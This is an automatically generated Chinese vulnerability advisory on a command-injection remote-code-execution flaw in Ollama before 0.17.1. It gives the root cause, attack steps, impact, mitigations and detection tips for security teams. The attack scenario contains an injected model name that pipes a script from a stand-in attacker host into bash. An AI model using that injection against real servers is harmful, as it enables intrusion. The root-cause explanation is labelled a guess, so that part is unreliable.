Exploit for CVE-2026-4782 exploit
CVE-2026-4782 漏洞影响Ollama < 0.17.1，攻击者通过输入验证不当实现远程代码执行，无需认证即可完全控制服务器。本文提供根本原因、攻击场景与修复方案，适用于安全团队应急响应。
Exploit for CVE-2026-4782 exploit
📋 漏洞概述
CVE-2026-4782 漏洞允许攻击者通过构造特制请求，在受影响Web应用中实现远程代码执行，导致服务器完全沦陷。
📋 基础信息
| 受影响版本 | Ollama < 0.17.1 |
| 漏洞类型 | 输入验证不当导致命令注入 |
| CVSS | 9.8 · Critical |
| CVE | CVE-2026-4782 |
🔬 漏洞根因
漏洞源于Ollama API在处理模型文件路径参数时未进行充分过滤与校验。攻击者可传入包含shell元字符的恶意路径字符串，例如分号、管道符或反引号，这些字符在后续拼接至系统命令时被直接解释执行。推测其核心缺陷在于开发者使用危险函数如os.system或exec调用拼接用户输入，而非安全API子进程方式，导致任意命令得以执行。
🎯 攻击场景
1. 攻击者首先收集目标Ollama服务的版本及API端点信息，确认版本低于0.17.1且API可被外部访问。 2. 攻击者构造恶意HTTP请求，向/api/pull或/api/create端点发送包含特殊字符的模型名，如'my_model; curl http://attacker.com/shell.sh | bash'。 3. 服务端代码将该模型名直接拼接到类似'ollama pull my_model; curl http://attacker.com/shell.sh | bash'的命令中。 4. 由于缺乏输入清洗，系统执行了shell命令，下载并运行攻击者控制的恶意脚本。 5. 成功标志：攻击者获得目标服务器的反向Shell，实现远程控制。
💥 漏洞影响
攻击者无需认证即可在目标服务器上以Ollama服务进程权限执行任意命令，进而可能获取服务器控制权、窃取敏感数据、横向移动或植入持久化后门。由于Ollama常部署于开发与生产环境，影响范围广，可导致严重的数据泄露与服务中断。
🛡️ 修复建议
立即升级至Ollama 0.17.1或更高版本。临时缓解措施包括：启用网络防火墙限制API仅允许可信IP访问；使用反向代理对API请求进行严格输入验证，过滤shell特殊字符；在服务进程中最小权限运行，避免使用root账户。
📎 参考链接
- https://nvd.nist.gov/vuln/detail/CVE-2026-4782
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-4782
- 原始来源（Sploitus）
🚨 威胁评估
| 📈 EPSS 利用概率 | 低 (0.3%) (高于 26.2% 的漏洞) |
| 🚨 CISA KEV | 未被已知利用 |
| 🔧 公开 PoC | 1 个公开 PoC 仓库 |
⚠️ 本文由漏洞情报系统自动生成，仅供安全研究与防御参考。生成时间: 2026-06-20 08:07 | 来源: Sploitus
🤖 常见问题解答（FAQ）
❓ 如何检测是否被该漏洞利用？
检查Ollama服务日志中是否出现异常模型名（含shell字符），以及系统可疑进程（如curl、bash反向连接）。也可通过运行sudo auditd监控execve调用。
❓ 该漏洞是否需要公网暴露？
不需要。只要攻击者能通过HTTP/HTTPS访问Ollama API端口（默认11434），无论是内网还是公网，均可触发。应限制网络访问边界。
❓ 升级0.17.1是否完全修复？
官方通告声称0.17.1版本引入了输入白名单验证，过滤shell元字符，理论上彻底修复。建议升级后测试确认并持续关注安全更新。